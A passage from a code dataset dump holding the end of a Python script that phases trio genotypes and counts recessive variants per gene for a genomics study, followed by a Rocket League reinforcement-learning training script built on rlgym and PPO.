Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and mvp2 > 0.85:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"mvp2.85\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\texcept KeyError as e:\n\t\t\t\t\t\tprint(e)\n\t\t\t\t\t\tprint(\"KeyError\", Ref, Alts, Alt, Allele_CSQ_dict)\n\t\t\t\t\t\treturn\n\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\tprint(\"IndexError\", Ref, Alts, llist[7], Allele_CSQ_dict)\n\t\t\t\t\t\treturn\n\t\t\tres = self.Phasing_N_Count(Gene_Fam_dat, Trios)\n\t\t\tOBS = {}\n\t\t\tEXP = {}\n\t\t\tCantPhase = {}\n\t\t\tMoreThanThree = {}\n\t\t\tCantPhase_fams = {}\n\t\t\tfor t in self.C:\n\t\t\t\tOBS[t] = (res[t][0] + res[t][1])\n\t\t\t\tEXP[t] = (res[t][2])\n\t\t\t\tCantPhase[t] = res[t][3]\n\t\t\t\tCantPhase_fams[t] = \",\".join(res[t][4])\n\t\t\t\tMoreThanThree[t] = res[t][5]\n\t\t\tOutFil.write(\"{}\\t{}\\n\".format(Gene, \"\\t\".join(\"{}\\t{}\".format(OBS[t], EXP[t]) for t in self.C)))\n\t\t\tOutFil2.write(\"{}\\t{}\\n\".format(Gene, \"\\t\".join(\"{}\\t{}\\t{}\".format(CantPhase[t], CantPhase_fams[t], MoreThanThree[t]) for t in self.C)))\n\t\treturn\n\n\tdef AddVar(self, i, var_k, Vartype, fmt, gts, Trios, Gene_Fam_dat):\n\t\tN_mendelian_Error = 0\n\t\ttrio_var_pairs = []\n\t\tfor j, trio in enumerate(Trios):\n\t\t\tif N_mendelian_Error >= 2: # drop the site if >2 fam with mendelian error\n\t\t\t\treturn Gene_Fam_dat\n\t\t\tprob, fa, mo, sibs = trio.Proband, trio.Father, trio.Mother, trio.Siblings\n\n\t\t\tgt_prob, gt_fa, gt_mo = self.GenotypeQC(fmt, gts[prob.index]), self.GenotypeQC(fmt, gts[fa.index]), self.GenotypeQC(fmt, gts[mo.index])\n\t\t\tgt_sibs = [self.GenotypeQC(fmt, gts[x.index]) for x in sibs]\n\n\t\t\tif gt_prob == False or gt_fa == False or gt_mo == False: \n\t\t\t\tcontinue # Failed QC\n\t\t\telif ( (gt_prob[1] not in [0, i+1]) or (gt_fa[1] not in [0, i+1]) or (gt_mo[1] not in [0, i+1]) ) or (gt_prob[1] == 0 and gt_fa[1] == 0 and gt_mo[1] == 0):\n\t\t\t\tcontinue # Not this allele \n\t\t\tsib_fail_qc = False\n\t\t\tfor gt in gt_sibs:\n\t\t\t\tif gt == False:\n\t\t\t\t\tsib_fail_qc = True\n\t\t\tif sib_fail_qc:\n\t\t\t\tcontinue\n\t\t\telif (gt_prob[0] not in gt_fa or gt_prob[1] not in gt_mo) and (gt_prob[1] not in gt_fa or gt_prob[0] not in gt_mo):\n\t\t\t\tN_mendelian_Error += 1\n\t\t\t\tcontinue # Mendelian Error\n\t\t\telse:\n\t\t\t\tgt_prob, gt_fa, gt_mo = self.gt_recode(gt_prob), self.gt_recode(gt_fa), self.gt_recode(gt_mo)\n\t\t\t\tgt_sibs = [self.gt_recode(gt) for gt in gt_sibs]\n\t\t\t\t#Gene_Fam_dat[trio.FamID][Vartype].append([var_k, gt_prob, gt_fa, gt_mo])\n\t\t\t\t#Gene_Fam_dat[Vartype][trio.FamID].append([var_k, gt_prob, gt_fa, gt_mo, gt_sibs])\n\t\t\t\ttrio_var_pairs.append((trio.FamID, [var_k, gt_prob, gt_fa, gt_mo, gt_sibs]))\n\t\tfor FamID, dat in trio_var_pairs:\n\t\t\tGene_Fam_dat[Vartype][FamID].append(dat)\n\t\treturn Gene_Fam_dat\n\t\n\tdef gt_recode(self, gt):\n\t\tif gt[0] != 0 :\n\t\t\tgt[0] = 1\n\t\tif gt[1] != 0 :\n\t\t\tgt[1] = 1\n\t\treturn gt\n\n\tdef Phasing_N_Count(self, Gene_Fam_dat, Trios):\n\t\tres = {}\n\t\tfor t in self.C:\n\t\t\tN_hom = 0\n\t\t\tN_chet = 0\n\t\t\tN_hom_chet = 0\n\t\t\tN_haps = 0\n\t\t\tN_cant_phase = 0\n\t\t\tcant_phase_fam = []\n\t\t\tN_more_than_three = 0\n\t\t\tfor i, trio in enumerate(Trios):\n\t\t\t\tvariants_in_fam = Gene_Fam_dat[t][trio.FamID] #list of variants in this gene in this fam\n\t\t\t\t#for item in variants_in_fam\n\t\t\t\tif len(variants_in_fam) == 1: #only 1 variant\n\t\t\t\t\tvar_k, gt_pro, gt_fa, gt_mo, gt_sibs = variants_in_fam[0]\n\t\t\t\t\tN_haps += sum(gt_fa + gt_mo)\n\t\t\t\t\tfor gt in [gt_pro] + gt_sibs:\n\t\t\t\t\t\tif gt == [1,1]:\n\t\t\t\t\t\t\tN_hom += 1\n\t\t\t\telif len(variants_in_fam) == 2: # 2 variants \n\t\t\t\t\tv1, gt_p1, gt_f1, gt_m1, gt_sibs1 = variants_in_fam[0]\n\t\t\t\t\tv2, gt_p2, gt_f2, gt_m2, gt_sibs2 = variants_in_fam[1]\n\t\t\t\t\tgts1 = [gt_p1] + gt_sibs1\n\t\t\t\t\tgts2 = [gt_p2] + gt_sibs2\n\t\t\t\t\tif (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,0]) or (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,0]):\n\t\t\t\t\t\t# 0/0 0/1 -> 0/1 \n\t\t\t\t\t\t# 0/1 0/0 -> 0/1\n\t\t\t\t\t\tN_haps += 2\n\t\t\t\t\t\tfor gt1, gt2 in zip(gts1 ,gts2):\n\t\t\t\t\t\t\tif gt1 == [0,1] and gt2 == [0,1]:\n\t\t\t\t\t\t\t\tN_chet += 1\n\t\t\t\t\telif (gt_f1 == [0,1] and gt_m1 == [0,1] and gt_p1 == [0,1]) or (gt_f2 == [0,1] and gt_m2 == [0,1] and gt_p2 == [0,1]):\n\t\t\t\t\t\t# Unable to phase\n\t\t\t\t\t\tN_cant_phase += 1\n\t\t\t\t\t\tN_haps += 4\n\t\t\t\t\t\t#N_chet += 1\n\t\t\t\t\t\tcant_phase_fam.append(trio.FamID)\n\t\t\t\t\t\tfor gt1, gt2 in zip(gts1, gts2):\n\t\t\t\t\t\t\tif gt1 == [0,1] and gt2 == [0,1]:\n\t\t\t\t\t\t\t\tN_chet += 1\n\t\t\t\telif len(variants_in_fam) >= 2: # more than 2 variants\n\t\t\t\t\tN_more_than_three += 1\n\t\t\tres[t] = (N_hom, N_chet, N_haps, N_cant_phase, cant_phase_fam, N_more_than_three)\n\t\treturn res\n\n\tdef Phasing_N_Count2(self, Gene_Fam_dat, Trios):\n\t\tres = {}\n\t\tfor t in self.C:\n\t\t\tN_hom = 0\n\t\t\tN_chet = 0\n\t\t\tN_hom_chet = 0\n\t\t\tN_haps = 0\n\t\t\tN_cant_phase = 0\n\t\t\tcant_phase_fam = []\n\t\t\tN_more_than_three = 0\n\t\t\tfor i, trio in enumerate(Trios):\n\t\t\t\tvariants_in_fam = Gene_Fam_dat[t][trio.FamID] #list of variants in this gene in this fam\n\t\t\t\t#for item in variants_in_fam\n\t\t\t\tif len(variants_in_fam) == 1: #only 1 variant\n\t\t\t\t\tvar_k, gt_pro, gt_fa, gt_mo = variants_in_fam[0]\n\t\t\t\t\tN_haps += sum(gt_fa + gt_mo)\n\t\t\t\t\tif gt_pro == [1,1]:\n\t\t\t\t\t\tN_hom += 1\n\t\t\t\telif len(variants_in_fam) == 2: # 2 variants \n\t\t\t\t\tv1, gt_p1, gt_f1, gt_m1 = variants_in_fam[0]\n\t\t\t\t\tv2, gt_p2, gt_f2, gt_m2 = variants_in_fam[1]\n\t\t\t\t\tif (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,0]) or (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,0]):\n\t\t\t\t\t\t# 0/0 0/1 -> 0/1 \n\t\t\t\t\t\t# 0/1 0/0 -> 0/1\n\t\t\t\t\t\tN_haps += 2\n\t\t\t\t\t\tif gt_p1 == [0,1] and gt_p2 == [0,1]:\n\t\t\t\t\t\t\tN_chet += 1\n\t\t\t\t\t\t#elif (gt_p1 == [0,0] and gt_p2 == [0,1]) or (gt_p1 == [0,1] and gt_p2 == [0,0]) or (gt_p1 == [0,0] and gt_p2 == [0,0]):\n\t\t\t\t\t\t#\tN_chet += 0\n\t\t\t\t\t#elif (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,1]):\n\t\t\t\t\t#\tif gt_p1 == [0,1] and gt_p2 == [0,0]:\n\t\t\t\t\t#\t\tNhaps += 3\n\t\t\t\t\t#elif (gt_f1 == [0,0] and gt_m1 == [0,1] and gt_f2 == [0,1] and gt_m2 == [0,1]):\n\t\t\t\t\t#\tif gt_p1 == [0,1] and gt_p2 == [0,0]:\n\t\t\t\t\t#\t\tNhaps += 3\n\t\t\t\t\t#elif (gt_f1 == [0,1] and gt_m1 == [0,1] and gt_f2 == [0,0] and gt_m2 == [0,1]):\n\t\t\t\t\t#\tif gt_p1 == [0,0] and gt_p2 == [0,1]:\n\t\t\t\t\t#\t\tNhaps += 3\n\t\t\t\t\t#elif (gt_f1 == [0,1] and gt_m1 == [0,0] and gt_f2 == [0,1] and gt_m2 == [0,0]):\n\t\t\t\t\t#\tif gt_p1 == [0,0] and gt_p2 == [0,1]:\n\t\t\t\t\t#\t\tNhaps += 3\n\t\t\t\t\telif (gt_f1 == [0,1] and gt_m1 == [0,1] and gt_p1 == [0,1]) or (gt_f2 == [0,1] and gt_m2 == [0,1] and gt_p2 == [0,1]):\n\t\t\t\t\t\t# Unable to phase\n\t\t\t\t\t\tN_cant_phase += 1\n\t\t\t\t\t\tcant_phase_fam.append(trio.FamID)\n\t\t\t\telif len(variants_in_fam) >= 2: # more than 2 variants\n\t\t\t\t\tN_more_than_three += 1\n\t\t\tres[t] = (N_hom, N_chet, N_haps, N_cant_phase, cant_phase_fam, N_more_than_three)\n\t\treturn res\n\n\tdef LookUpBiallic(self, i, Vartype, fmt, gts, Trios):\n\t\tfor j, trio in enumerate(Trios):\n\t\t\tprob, fa, mo = trio.Proband, trio.Father, trio.Mother\n\t\t\t#print(fmt, gts[prob.index])\n\t\t\tgt_prob, gt_fa, gt_mo = self.GenotypeQC(fmt, gts[prob.index]), self.GenotypeQC(fmt, gts[fa.index]), self.GenotypeQC(fmt, gts[mo.index])\n\t\t\tif gt_prob == False or gt_fa == False or gt_mo == False:\n\t\t\t\tcontinue # gt failed QC\n\t\t\telif (gt_prob[0] not in gt_fa and gt_prob[1] not in gt_mo) or (gt_prob[1] not in gt_fa and gt_prob[0] not in gt_mo):\n\t\t\t\tcontinue # mendelian error\n\t\t\telse:\n\t\t\t\t# Phasing\n\t\t\t\tif gt_prob[1] == i+1 and gt_prob[0] == i+1: # Hom\n\t\t\t\t\tTrios[j].pro_haps[Vartype] = [1,1]\n\t\t\t\t\t#print(\"12\", Trios[j].pro_haps[Vartype], gt_prob, gt_fa, gt_mo)\n\t\t\t\t\tif gt_fa[0] == i+1 and gt_fa[1] == i+1:\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype] = [1,1]\n\t\t\t\t\telse:\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype][0] = 1\n\t\t\t\t\tif gt_mo[0] == i+1 and gt_mo[1] == i+1:\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype] = [1,1]\n\t\t\t\t\telse:\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype][0] = 1\n\n\t\t\t\telif gt_prob[1] == gt_fa[1] and gt_mo[1] == 0 and gt_prob[1] == i+1 : #paternal transmitted\n\t\t\t\t\tif gt_fa[0] == i+1: # transmitted from hom parternal\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype] = [1,1]\n\t\t\t\t\telse: # transmitted from het paternal\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype][0] = 1\n\t\t\t\t\tTrios[j].pro_haps[Vartype][0] = 1\n\t\t\t\t\t\n\t\t\t\telif gt_prob[1] == gt_mo[1] and gt_fa[1] == 0 and gt_prob[1] == i+1: #maternal transmitted\n\t\t\t\t\tif gt_mo[0] == i+1: # transmitted from hom maternal\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype] = [1,1]\n\t\t\t\t\telse: # transmitted from het maternal\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype][0] = i+1\n\t\t\t\t\tTrios[j].pro_haps[Vartype][1] = 1\n\n\t\t\t\telif gt_prob[1] == 0: # proband 0/0\n\t\t\t\t\tif gt_fa[1] == 1: # father has one hap\n\t\t\t\t\t\tif Trios[j].fa_haps[Vartype][0] == 1:\n\t\t\t\t\t\t\tTrios[j].fa_haps[Vartype][1] = 0\n\t\t\t\t\t\telif Trios[j].fa_haps[Vartype][0] == 0:\n\t\t\t\t\t\t\tTrios[j].fa_haps[Vartype][1] = 1\n\t\t\t\t\tif gt_mo[1] == 1: # mother has one hap\n\t\t\t\t\t\tif Trios[j].mo_haps[Vartype][0] == 1:\n\t\t\t\t\t\t\tTrios[j].mo_haps[Vartype][1] = 0\n\t\t\t\t\t\telif Trios[j].mo_haps[Vartype][0] == 0:\n\t\t\t\t\t\t\tTrios[j].mo_haps[Vartype][1] = 1\n\n\tdef LookUpBiallicLGD_DMIS(self, i, Vartype, fmt, gts, Trios):\n\t\tfor j, trio in enumerate(Trios):\n\t\t\tprob, fa, mo = trio.Proband, trio.Father, trio.Mother\n\t\t\t#print(fmt, gts[prob.index])\n\t\t\tgt_prob, gt_fa, gt_mo = self.GenotypeQC(fmt, gts[prob.index]), self.GenotypeQC(fmt, gts[fa.index]), self.GenotypeQC(fmt, gts[mo.index])\n\t\t\tif gt_prob == False or gt_fa == False or gt_mo == False:\n\t\t\t\tcontinue # gt failed QC\n\t\t\telif (gt_prob[0] not in gt_fa and gt_prob[1] not in gt_mo) or (gt_prob[1] not in gt_fa and gt_prob[0] not in gt_mo):\n\t\t\t\tcontinue # mendelian error\n\t\t\telse:\n\t\t\t\t# Phasing\n\t\t\t\tif gt_prob[1] == i+1 and gt_prob[0] == i+1: # Hom\n\t\t\t\t\tTrios[j].pro_haps[Vartype] = [1,1]\n\t\t\t\t\t#print(\"12\", Trios[j].pro_haps[Vartype], gt_prob, gt_fa, gt_mo)\n\t\t\t\t\tif gt_fa[0] == i+1 and gt_fa[1] == i+1:\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype] = [1,1]\n\t\t\t\t\telse:\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype][0] = 1\n\t\t\t\t\tif gt_mo[0] == i+1 and gt_mo[1] == i+1:\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype] = [1,1]\n\t\t\t\t\telse:\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype][0] = 1\n\n\t\t\t\telif gt_prob[1] == gt_fa[1] and gt_mo[1] == 0 and gt_prob[1] == i+1 : #paternal transmitted\n\t\t\t\t\tif gt_fa[0] == i+1: # transmitted from hom parternal\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype] = [1,1]\n\t\t\t\t\telse: # transmitted from het paternal\n\t\t\t\t\t\tTrios[j].fa_haps[Vartype][0] = 1\n\t\t\t\t\tTrios[j].pro_haps[Vartype][0] = 1\n\t\t\t\t\t\n\t\t\t\t#elif gt_fa[1] == 0 and gt_prob[1] == 0:\n\t\t\t\t#\tTrios[j].fa_haps[Vartype][1] = 1\n\n\n\t\t\t\telif gt_prob[1] == gt_mo[1] and gt_fa[1] == 0 and gt_prob[1] == i+1: #maternal transmitted\n\t\t\t\t\tif gt_mo[0] == i+1: # transmitted from hom maternal\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype] = [1,1]\n\t\t\t\t\telse: # transmitted from het maternal\n\t\t\t\t\t\tTrios[j].mo_haps[Vartype][0] = i+1\n\t\t\t\t\tTrios[j].pro_haps[Vartype][1] = 1\n\n\t\t\t\telif gt_prob[1] == 0: # proband 0/0\n\t\t\t\t\tif gt_fa[1] == 1: # father has one hap\n\t\t\t\t\t\tif Trios[j].fa_haps[Vartype][0] == 1:\n\t\t\t\t\t\t\tTrios[j].fa_haps[Vartype][1] = 0\n\t\t\t\t\t\telif Trios[j].fa_haps[Vartype][0] == 0:\n\t\t\t\t\t\t\tTrios[j].fa_haps[Vartype][1] = 1\n\t\t\t\t\tif gt_mo[1] == 1: # mother has one hap\n\t\t\t\t\t\tif Trios[j].mo_haps[Vartype][0] == 1:\n\t\t\t\t\t\t\tTrios[j].mo_haps[Vartype][1] = 0\n\t\t\t\t\t\telif Trios[j].mo_haps[Vartype][0] == 0:\n\t\t\t\t\t\t\tTrios[j].mo_haps[Vartype][1] = 1\n\nclass Sample:\n\tdef __init__(self, row):\n\t\t#self.FamID = row[\"FamID\"]\n\t\t#self.sampleID = row[\"SampleID\"]\n\t\t#self.Father = row[\"Paternal\"]\n\t\t#self.Mother = row[\"Maternal\"]\n\t\t#self.Sex = row[\"Sex\"]\n\t\t#self.Affected = row[\"Affected\"]\n\t\tself.FamID = row[0]\n\t\tself.sampleID = row[1]\n\t\tself.Father = row[2]\n\t\tself.Mother = row[3]\n\t\tself.Sex = row[4]\n\t\tself.Affected = row[5]\n\t\tself.index = row[-1]\n\tdef show(self):\n\t\tprint(self.FamID, self.sampleID, self.Father, self.Mother, self.Sex, self.Affected)\n\tdef display(self):\n\t\t#return \"\\t\".join([self.FamID, self.sampleID, self.Father, self.Mother, self.Sex, self.Affected])\n\t\treturn list(map(str, [self.FamID, self.sampleID, self.Father, self.Mother, self.Sex, self.Affected]))\n\nclass Family:\n\tdef __init__(self, FamID):\n\t\tself.FamID = FamID\n\t\tself.Father = None\n\t\tself.Mother = None\n\t\tself.Proband = None\n\t\tself.Siblings = []\n\t\tself.pro_haps = {} \n\t\tself.fa_haps = {}\n\t\tself.mo_haps = {}\n\tdef show(self):\n\t\tprint(\"FamID:{} Proband:{} Father:{} Mother:{} Siblings:{}\".format(\n\t\t\tself.FamID, self.Proband.sampleID, self.Father.sampleID, self.Mother.sampleID, \", \".join(\n\t\t\t\t[x.sampleID for x in self.Siblings])))\n\nclass GTFRecord:\n\tdef __init__(self, Chr, source, Type, start, end, strand, info):\n\t\tself.Chr = Chr\n\t\tself.source = source\n\t\tself.Type = Type\n\t\tself.start = start\n\t\tself.end = end\n\t\tself.strand = strand\n\t\tself.info = info\n\ndef gtf_info_parser(info):\n\tres = {}\n\tfor term in info.split(\";\"):\n\t\tif term == \"\":\n\t\t\tcontinue\n\t\t#print(\">\",term)\n\t\tkey,v = term.split()\n\t\tv = v.strip('\"')\n\t\tres[key]=v\n\treturn res\n\ndef LoadGeneCode(genecodefil):\n\tGenes = {}\n\tTranscripts = {}\n\thand = open(genecodefil, 'rt')\n\tfor l in hand:\n\t\tif l.startswith(\"#\"):\n\t\t\tcontinue\n\t\tllist = l.strip().split(\"\\t\")\n\t\tinfo = gtf_info_parser(llist[8])\n\t\tif llist[2] == \"gene\":\n\t\t\tGenes[info[\"gene_name\"]] = GTFRecord(llist[0], llist[1], llist[2], llist[3], llist[4], llist[6], info)\n\t\t\tTranscripts[info[\"gene_name\"]] = []\n\t\telif llist[2] == \"transcript\":\n\t\t\tif info[\"gene_name\"] not in Genes:\n\t\t\t\tGenes[info[\"gene_name\"]] = GTFRecord(llist[0], llist[1], llist[2], llist[3], llist[4], llist[6], info)\n\t\t\t\tTranscripts[info[\"gene_name\"]] = []\n\t\t\tTranscripts[info[\"gene_name\"]].append(GTFRecord(llist[0], llist[1], llist[2], llist[3], llist[4], llist[6], info))\n\treturn Genes, Transcripts \n#\ndef LoadDeepVar(SPLIST):\n\tDeepVarFil = open(\"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/VCF/DeepVariant/SPID2DV.txt\", 'rt')\n\tDict = {}\n\tfor l in DeepVarFil:\n\t\tSPID, FILE = l.strip().split(\",\")\n\t\tif SPID in SPLIST:\n\t\t\t#print(FILE)\n\t\t\tDict[SPID] = pysam.TabixFile(FILE) #FILE\n\treturn Dict\n\ndef GetOptions():\n\tparser = argparse.ArgumentParser()\n\t#parser.add_argument(\"-v\", \"--vcf\", type=str, required=True, help=\"<Required> VCF file\")\n\t#parser.add_argument(\"-l\", \"--list\", type=str, required=True, help=\"<Required> Indv List file\")\n\t#parser.add_argument(\"-o\", \"--out\", type=str, help=\"<Required> Output VCF file\")\n\tparser.add_argument(\"--chr\", required=True, type=str, help=\"<Required> Chromosome\")\n\tparser.add_argument(\"--af\", default=1e-2, type=float, help=\"<Required> MAF cutoff\")\n\targs = parser.parse_args()\n\t#if args.out == None:\n\t#\targs.out = \"test.out.vcf\"\n\treturn args\n\ndef main():\n\targs = GetOptions()\n\tins = RecessiveModel(args.af)\n\t#List = [l.strip() for l in open(args.list)]\n\t#ins.ComputeSiteAF(args.vcf, List, \"EUR\", args.out)\n\tChr = args.chr\n\t#GenotypeFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K/VCF/TrioVCF/Genotypes/SPARK30K.TrioSamples.Chr{}.vcf.gz\".format(Chr)\n\t#VEPFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K/VCF/TrioVCF/sites/SPARK30K.TrioSamples.Chr{}.vep.mappability.vcf.gz\".format(Chr)\n\t#VEPFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K/VCF/TrioVCF/sites/Annotated2/SPARK30K.TrioSamples.Chr{}.vep.vcf.gz\".format(Chr)\n\t#AFFil = \"/home/local/users/jw/Genetics_Projects/SPARK/spark_genomics/dat/SPARK30K.TrioSamples.Chr{}.eurAF.vcf.gz\".format(Chr)\n\tgenecode = \"/home/local/users/jw/vep_data/homo_sapiens/GeneCodeV29/CHRs/genecodev29.{}.gtf\".format(Chr)\n\t#GenotypeFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/VCF/GenotypesSplitbyChr/GATK4_20190729.chr{}.vcf.gz\".format(Chr)\n\t#VEPFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/VCF/SitesSplitbyChr/annotated/GATK4_20190729.chr{}.mappability.vcf.gz\".format(Chr)\n\tGenotypeFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/VCF/Filt/SPARK30K.Genotypes.Filt.Chr{}.vcf.gz\".format(Chr)\n\tVEPFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/VCF/Filt/SPARK30K.Anno.Filt.Chr{}.vcf.gz\".format(Chr)\n\t#AFFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/recessive/AF/GATK4_20190729.chr{}.eurAF.vcf.gz\".format(Chr)\n\t#ins.Recessive(Chr, GenotypeFil ,VEPFil, AFFil, genecode)\n\tins.Recessive(Chr, GenotypeFil ,VEPFil, genecode)\n\nif __name__=='__main__':\n\tmain()\n", "meta": {"hexsha": "199ab2c8f8e41fe98806551f3351b9bb55df2069", "size": 28857, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/FamilyBasedTest.py", "max_stars_repo_name": "explorerwjy/spark_genomics", "max_stars_repo_head_hexsha": "ec8b007eb8a2990a148838c9105d56d4bbeec2c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/FamilyBasedTest.py", "max_issues_repo_name": "explorerwjy/spark_genomics", "max_issues_repo_head_hexsha": "ec8b007eb8a2990a148838c9105d56d4bbeec2c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/FamilyBasedTest.py", "max_forks_repo_name": "explorerwjy/spark_genomics", "max_forks_repo_head_hexsha": "ec8b007eb8a2990a148838c9105d56d4bbeec2c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.5301369863, "max_line_length": 198, "alphanum_fraction": 0.6258446824, "include": true, "reason": "import numpy,import scipy", "num_tokens": 10666, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5660185351961015, "lm_q2_score": 0.16885695423297595, "lm_q1q2_score": 0.09557616589262419}}
{"text": "import numpy as np\nfrom rlgym.envs import Match\nfrom rlgym.utils.action_parsers import DiscreteAction\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.callbacks import CheckpointCallback\nfrom stable_baselines3.common.vec_env import VecMonitor, VecNormalize, VecCheckNan\nfrom stable_baselines3.ppo import MlpPolicy\n\nfrom rlgym.utils.obs_builders import AdvancedObs\nfrom rlgym.utils.state_setters import DefaultState\nfrom rlgym.utils.terminal_conditions.common_conditions import TimeoutCondition, NoTouchTimeoutCondition, GoalScoredCondition\nfrom rlgym_tools.sb3_utils import SB3MultipleInstanceEnv\nfrom rlgym.utils.reward_functions.common_rewards.misc_rewards import EventReward\nfrom rlgym.utils.reward_functions.common_rewards.player_ball_rewards import VelocityPlayerToBallReward\nfrom rlgym.utils.reward_functions.common_rewards.ball_goal_rewards import VelocityBallToGoalReward\nfrom rlgym.utils.reward_functions import CombinedReward\n\n\nif __name__ == '__main__':  # Required for multiprocessing\n    frame_skip = 8          # Number of ticks to repeat an action\n    half_life_seconds = 5   # Easier to conceptualize, after this many seconds the reward discount is 0.5\n\n    fps = 120 / frame_skip\n    gamma = np.exp(np.log(0.5) / (fps * half_life_seconds))  # Quick mafs\n    agents_per_match = 2\n    num_instances = 1\n    target_steps = 1_000_000\n    steps = target_steps // (num_instances * agents_per_match) #making sure the experience counts line up properly\n    batch_size = target_steps//10 #getting the batch size down to something more manageable - 100k in this case\n    training_interval = 25_000_000\n    mmr_save_frequency = 50_000_000\n\n    def exit_save(model):\n        model.save(\"models/exit_save\")\n\n    def get_match():  # Need to use a function so that each instance can call it and produce their own objects\n        return Match(\n            team_size=1,\n            tick_skip=frame_skip,\n            reward_function=CombinedReward(\n            (\n                VelocityPlayerToBallReward(),\n                VelocityBallToGoalReward(),\n                EventReward(\n                    team_goal=100.0,\n                    concede=-100.0,\n                    shot=5.0,\n                    save=30.0,\n                    demo=10.0,\n                ),\n            ),\n            (0.1, 1.0, 1.0)),\n            # self_play=True,  in rlgym 1.2 'self_play' is depreciated. Uncomment line if using an earlier version\n            terminal_conditions=[TimeoutCondition(fps * 300), NoTouchTimeoutCondition(fps * 45), GoalScoredCondition()],\n            obs_builder=AdvancedObs(),  # Not that advanced, good default\n            state_setter=DefaultState(),  # Resets to kickoff position\n            action_parser=DiscreteAction()  # Discrete > Continuous don't @ me\n        )\n\n    env = SB3MultipleInstanceEnv(get_match, num_instances)            # Start 1 instances, waiting 60 seconds between each\n    env = VecCheckNan(env)                                # Optional\n    env = VecMonitor(env)                                 # Recommended, logs mean reward and ep_len to Tensorboard\n    env = VecNormalize(env, norm_obs=False, gamma=gamma)  # Highly recommended, normalizes rewards\n\n    try:\n        model = PPO.load(\n            \"models/exit_save.zip\",\n            env,\n            device=\"auto\",\n            custom_objects={\"n_envs\": env.num_envs}, #automatically adjusts to users changing instance count, may encounter shaping error otherwise\n            # If you need to adjust parameters mid training, you can use the below example as a guide\n            #custom_objects={\"n_envs\": env.num_envs, \"n_steps\": steps, \"batch_size\": batch_size, \"n_epochs\": 10, \"learning_rate\": 5e-5}\n        )\n        print(\"Loaded previous exit save.\")\n    except:\n        print(\"No saved model found, creating new model.\")\n        from torch.nn import Tanh\n        policy_kwargs = dict(\n            activation_fn=Tanh,\n            net_arch=[512, 512, dict(pi=[256, 256, 256], vf=[256, 256, 256])],\n        )\n\n        model = PPO(\n            MlpPolicy,\n            env,\n            n_epochs=10,                 # PPO calls for multiple epochs\n            policy_kwargs=policy_kwargs,\n            learning_rate=5e-5,          # Around this is fairly common for PPO\n            ent_coef=0.01,               # From PPO Atari\n            vf_coef=1.,                  # From PPO Atari\n            gamma=gamma,                 # Gamma as calculated using half-life\n            verbose=3,                   # Print out all the info as we're going\n            batch_size=batch_size,             # Batch size as high as possible within reason\n            n_steps=steps,                # Number of steps to perform before optimizing network\n            tensorboard_log=\"logs\",  # `tensorboard --logdir out/logs` in terminal to see graphs\n            device=\"auto\"                # Uses GPU if available\n        )\n\n    # Save model every so often\n    # Divide by num_envs (number of agents) because callback only increments every time all agents have taken a step\n    # This saves to specified folder with a specified name\n    callback = CheckpointCallback(round(5_000_000 / env.num_envs), save_path=\"models\", name_prefix=\"rl_model\")\n\n    try:\n        mmr_model_target_count = model.num_timesteps + mmr_save_frequency\n        while True:\n            #may need to reset timesteps when you're running a different number of instances than when you saved the model\n            model.learn(training_interval, callback=callback, reset_num_timesteps=False) #can ignore callback if training_interval < callback target\n            model.save(\"models/exit_save\")\n            if model.num_timesteps >= mmr_model_target_count:\n                model.save(f\"mmr_models/{model.num_timesteps}\")\n                mmr_model_target_count += mmr_save_frequency\n\n    except KeyboardInterrupt:\n        print(\"Exiting training\")\n\n    print(\"Saving model\")\n    exit_save(model)\n    print(\"Save complete\")\n", "meta": {"hexsha": "f2db56f298df551da4e8d092224a56424df0849a", "size": 5976, "ext": "py", "lang": "Python", "max_stars_repo_path": "youtube_examplebot.py", "max_stars_repo_name": "Impossibum/rlgym_quickstart_tutorial_bot", "max_stars_repo_head_hexsha": "6e57f3b5df671163ba31a050aa34a87002ce9a55", 